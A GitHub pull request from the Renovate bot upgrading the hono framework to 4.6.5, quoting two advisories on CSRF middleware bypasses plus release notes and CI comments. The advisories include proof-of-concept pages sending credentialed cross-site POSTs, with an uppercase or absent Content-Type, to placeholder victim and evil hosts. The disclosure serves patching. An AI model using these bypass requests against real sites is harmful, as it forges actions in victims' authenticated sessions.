Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix(deps): update dependency hono to v4.6.5 [security] #104

Open
wants to merge 1 commit into
base: main
Choose a base branch
from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Aug 22, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
hono (source) 4.3.2 -> 4.6.5 age adoption passing confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

GitHub Vulnerability Alerts

CVE-2024-43787

Summary

Hono CSRF middleware can be bypassed using crafted Content-Type header.

Details

MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.

https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17

As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".

PoC

<html>
  <head>
    <title>CSRF Test</title>
    <script defer>
      document.addEventListener("DOMContentLoaded", () => {
        document.getElementById("btn").addEventListener("click", async () => {
          const res = await fetch("http://victim.example.com/test", {
            method: "POST",
            credentials: "include",
            headers: {
              "Content-Type": "Application/x-www-form-urlencoded",
            },
          });
        });
      });
    </script>
  </head>
  <body>
    <h1>CSRF Test</h1>
    <button id="btn">Click me!</button>
  </body>
</html>

Impact

Bypass csrf protection implemented with hono csrf middleware.

Discussion

I'm not sure that omitting csrf checks for Simple POST request is a good idea.
CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.

CVE-2024-48913

Summary

Bypass CSRF Middleware by a request without Content-Type herader.

Details

Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.

https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89

PoC

// server.js
import { Hono } from 'hono'
import { csrf }from 'hono/csrf'
const app = new Hono()
app.use(csrf())
app.get('/', (c) => {
  return c.html('Hello Hono!')
})
app.post('/', async (c) => {
  console.log("executed")
  return c.text( await c.req.text())
})
Deno.serve(app.fetch)
<!-- PoC.html -->
<script>
async function myclick() {
    await fetch("http://evil.example.com", {
    method: "POST",
    credentials: "include",
    body:new Blob([`test`],{}),
    });
}
</script>
<input type="button" onclick="myclick()" value="run" />

Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body.

await fetch("http://localhost:8000", { method: "POST", credentials: "include"});

Impact

Bypass csrf protection implemented with hono csrf middleware.


Release Notes

honojs/hono (hono)

v4.6.5

Compare Source

Security fix for CSRF Protection Middleware

This release includes a security fix for CSRF Protection Middleware. If you are using CSRF Protection Middleware, please upgrade this hono package immediately.

Before this release, a request without a Content-Type header can bypass the protection. This fix does not allow it. See: GHSA-2234-fmw7-43wr

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.6.4...v4.6.5

v4.6.4

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.6.3...v4.6.4

v4.6.3

Compare Source

This release has many new features, but each feature is small, so we've released it as a patch release.

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.6.2...v4.6.3

v4.6.2

Compare Source

What's Changed

Full Changelog: honojs/hono@v4.6.1...v4.6.2

v4.6.1

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.6.0...v4.6.1

v4.6.0

Compare Source

Hono v4.6.0 is now available!

One of the highlights of this release is the Context Storage Middleware. Let's introduce it.

Context Storage Middleware

Many users may have been waiting for this feature. The Context Storage Middleware uses AsyncLocalStorage to allow handling of the current Context object even outside of handlers.

For example, let’s define a Hono app with a variable message: string.

type Env = {
  Variables: {
    message: string
  }
}

const app = new Hono<Env>()

To enable Context Storage Middleware, register contextStorage() as middleware at the top and set the message value.

import { contextStorage } from 'hono/context-storage'

//...

app.use(contextStorage())

app.use(async (c, next) => {
  c.set('message', 'Hello!')
  await next()
})

getContext() returns the current Context object, allowing you to get the value of the message variable outside the handler.

import { getContext } from 'hono/context-storage'

app.get('/', (c) => {
  return c.text(getMessage())
})

// Access the variable outside the handler.
const getMessage = () => {
  return getContext<Env>().var.message
}

In the case of Cloudflare Workers, you can also access the Bindings outside the handler by using this middleware.

type Env = {
  Bindings: {
    KV: KVNamespace
  }
}

const app = new Hono<Env>()

app.use(contextStorage())

const setKV = (value: string) => {
  return getContext<Env>().env.KV.put('key', value)
}

Thanks @​marceloverdijk !

New features

Other changes

New Contributors

Full Changelog: honojs/hono@v4.5.11...v4.6.0

v4.5.11

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.5.10...v4.5.11

v4.5.10

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.5.9...v4.5.10

v4.5.9

Compare Source

What's Changed

Full Changelog: honojs/hono@v4.5.8...v4.5.9

v4.5.8

Compare Source

Security Fix for CSRF Protection Middleware

Before this release, in versions 4.5.7 and below, the CSRF Protection Middleware did not treat requests including Content-Types with uppercase letters (e.g., Application/x-www-form-urlencoded) as potential attacks, allowing them to pass.

This could cause unexpected behavior, leading to a vulnerability. If you are using the CSRF Protection Middleware, please upgrade to version 4.5.8 or higher immediately.

For more details, see the report here: GHSA-rpfr-3m35-5vx5

v4.5.7

Compare Source

What's Changed
New Contributors

Full Changelog: honojs/hono@v4.5.6...v4.5.7

v4.5.6

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.5.5...v4.5.6

v4.5.5

Compare Source

What's Changed

Full Changelog: honojs/hono@v4.5.4...v4.5.5

v4.5.4

Compare Source

What's Changed
New Contributors

Full Changelog: honojs/hono@v4.5.3...v4.5.4

v4.5.3

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.5.2...v4.5.3

v4.5.2

Compare Source

What's Changed

Full Changelog: honojs/hono@v4.5.1...v4.5.2

v4.5.1

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.5.0...v4.5.1

v4.5.0

Compare Source

v4.4.13

Compare Source

What's Changed

Full Changelog: honojs/hono@v4.4.12...v4.4.13

v4.4.12

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.4.11...v4.4.12

v4.4.11

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.4.10...v4.4.11

v4.4.10

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.4.9...v4.4.10

v4.4.9

Compare Source

What's Changed

Full Changelog: honojs/hono@v4.4.8...v4.4.9

v4.4.8

Compare Source

What's Changed

Full Changelog: honojs/hono@v4.4.7...v4.4.8

v4.4.7

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.4.6...v4.4.7

v4.4.6

Compare Source

What's Changed

Full Changelog: honojs/hono@v4.4.5...v4.4.6

v4.4.5

Compare Source

What's Changed

Full Changelog: honojs/hono@v4.4.4...v4.4.5

v4.4.4

Compare Source

What's Changed

New Contributors

Full Changelog: honojs/hono@v4.4.3...v4.4.4

v4.4.3

Compare Source

What's Changed


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Copy link
Contributor Author

renovate bot commented Aug 22, 2024

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: yarn.lock
error This project's package.json defines "packageManager": "yarn@[email protected]". However the current global version of Yarn is 1.22.22.

Presence of the "packageManager" field indicates that the project is meant to be used with Corepack, a tool included by default with all official Node.js distributions starting from 16.9 and 14.19.
Corepack must currently be enabled by running corepack enable in your terminal. For more information, check out https://yarnpkg.com/corepack.

Copy link

vercel bot commented Aug 22, 2024

The latest updates on your projects. Learn more about Vercel for Git ↗︎

3 Skipped Deployments
Name Status Preview Comments Updated (UTC)
saku-apps-blog ⬜️ Ignored (Inspect) Visit Preview Jan 26, 2025 2:24pm
blog.sakupi01.com ⬜️ Skipped (Inspect) Jan 26, 2025 2:24pm
git-kusa ⬜️ Skipped (Inspect) Jan 26, 2025 2:24pm

@renovate renovate bot force-pushed the renovate/npm-hono-vulnerability branch from ae66e25 to 44b9ffc Compare October 15, 2024 18:23
@renovate renovate bot changed the title Update dependency hono to v4.5.8 [SECURITY] Update dependency hono to v4.6.5 [SECURITY] Oct 15, 2024
@renovate renovate bot force-pushed the renovate/npm-hono-vulnerability branch 8 times, most recently from 47ff5aa to f26ba32 Compare October 20, 2024 17:04
@vercel vercel bot temporarily deployed to Preview – saku-apps-blog October 20, 2024 17:07 Inactive
@renovate renovate bot force-pushed the renovate/npm-hono-vulnerability branch from f26ba32 to 589b80b Compare October 23, 2024 23:00
@renovate renovate bot force-pushed the renovate/npm-hono-vulnerability branch from 589b80b to 95fe880 Compare November 13, 2024 13:39
@renovate renovate bot force-pushed the renovate/npm-hono-vulnerability branch from 95fe880 to ff14e20 Compare November 24, 2024 15:35
@vercel vercel bot temporarily deployed to Preview – git-kusa November 24, 2024 15:35 Inactive
@vercel vercel bot temporarily deployed to Preview – blog.sakupi01.com November 24, 2024 15:35 Inactive
Copy link

codspeed-hq bot commented Nov 24, 2024

CodSpeed Performance Report

Merging #104 will not alter performance

Comparing renovate/npm-hono-vulnerability (bd1cb9b) with main (1179fae)

Summary

✅ 3 untouched benchmarks

@renovate renovate bot force-pushed the renovate/npm-hono-vulnerability branch from ff14e20 to ef173ad Compare November 25, 2024 15:37
@vercel vercel bot temporarily deployed to Preview – blog.sakupi01.com November 25, 2024 15:38 Inactive
@vercel vercel bot temporarily deployed to Preview – git-kusa November 25, 2024 15:38 Inactive
@renovate renovate bot force-pushed the renovate/npm-hono-vulnerability branch from ef173ad to 9b775e3 Compare November 26, 2024 04:19
@vercel vercel bot temporarily deployed to Preview – git-kusa November 26, 2024 04:19 Inactive
@vercel vercel bot temporarily deployed to Preview – blog.sakupi01.com November 26, 2024 04:19 Inactive
@renovate renovate bot force-pushed the renovate/npm-hono-vulnerability branch from 9b775e3 to 498fcd0 Compare November 30, 2024 03:38
@vercel vercel bot temporarily deployed to Preview – blog.sakupi01.com November 30, 2024 03:38 Inactive
@vercel vercel bot temporarily deployed to Preview – git-kusa November 30, 2024 03:38 Inactive
@renovate renovate bot force-pushed the renovate/npm-hono-vulnerability branch from 498fcd0 to 82cd498 Compare November 30, 2024 03:43
@vercel vercel bot temporarily deployed to Preview – git-kusa November 30, 2024 03:43 Inactive
@renovate renovate bot force-pushed the renovate/npm-hono-vulnerability branch from 299044d to 0fabf86 Compare December 22, 2024 14:33
@vercel vercel bot temporarily deployed to Preview – git-kusa December 22, 2024 14:33 Inactive
@vercel vercel bot temporarily deployed to Preview – blog.sakupi01.com December 22, 2024 14:33 Inactive
@renovate renovate bot force-pushed the renovate/npm-hono-vulnerability branch from 0fabf86 to 17e86e6 Compare December 22, 2024 14:35
@renovate renovate bot changed the title fix(deps): update dependency hono to v4.6.5 [security] Update dependency hono to v4.6.5 [SECURITY] Dec 22, 2024
@vercel vercel bot temporarily deployed to Preview – blog.sakupi01.com December 22, 2024 14:35 Inactive
@vercel vercel bot temporarily deployed to Preview – git-kusa December 22, 2024 14:35 Inactive
@renovate renovate bot force-pushed the renovate/npm-hono-vulnerability branch from 17e86e6 to 1db464b Compare December 24, 2024 12:40
@vercel vercel bot temporarily deployed to Preview – blog.sakupi01.com December 24, 2024 12:40 Inactive
@vercel vercel bot temporarily deployed to Preview – git-kusa December 24, 2024 12:40 Inactive
@renovate renovate bot force-pushed the renovate/npm-hono-vulnerability branch from 1db464b to e51dc72 Compare December 24, 2024 12:52
@vercel vercel bot temporarily deployed to Preview – blog.sakupi01.com December 24, 2024 12:52 Inactive
@vercel vercel bot temporarily deployed to Preview – git-kusa December 24, 2024 12:52 Inactive
@renovate renovate bot force-pushed the renovate/npm-hono-vulnerability branch from e51dc72 to eb23c16 Compare December 25, 2024 03:59
@vercel vercel bot temporarily deployed to Preview – git-kusa December 25, 2024 03:59 Inactive
@vercel vercel bot temporarily deployed to Preview – blog.sakupi01.com December 25, 2024 03:59 Inactive
@renovate renovate bot force-pushed the renovate/npm-hono-vulnerability branch from eb23c16 to 755a9eb Compare December 25, 2024 04:39
@vercel vercel bot temporarily deployed to Preview – git-kusa December 25, 2024 04:39 Inactive
@vercel vercel bot temporarily deployed to Preview – blog.sakupi01.com December 25, 2024 04:39 Inactive
@renovate renovate bot force-pushed the renovate/npm-hono-vulnerability branch from 755a9eb to 0dbd01b Compare December 25, 2024 21:59
@vercel vercel bot temporarily deployed to Preview – git-kusa December 25, 2024 21:59 Inactive
@vercel vercel bot temporarily deployed to Preview – blog.sakupi01.com December 25, 2024 21:59 Inactive
@renovate renovate bot force-pushed the renovate/npm-hono-vulnerability branch from 0dbd01b to 1e05eb6 Compare December 30, 2024 10:59
@renovate renovate bot changed the title Update dependency hono to v4.6.5 [SECURITY] fix(deps): update dependency hono to v4.6.5 [security] Dec 30, 2024
@vercel vercel bot temporarily deployed to Preview – blog.sakupi01.com December 30, 2024 10:59 Inactive
@vercel vercel bot temporarily deployed to Preview – git-kusa December 30, 2024 10:59 Inactive
@renovate renovate bot force-pushed the renovate/npm-hono-vulnerability branch from 1e05eb6 to bd1cb9b Compare January 26, 2025 14:24
@vercel vercel bot temporarily deployed to Preview – git-kusa January 26, 2025 14:24 Inactive
@vercel vercel bot temporarily deployed to Preview – blog.sakupi01.com January 26, 2025 14:24 Inactive
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants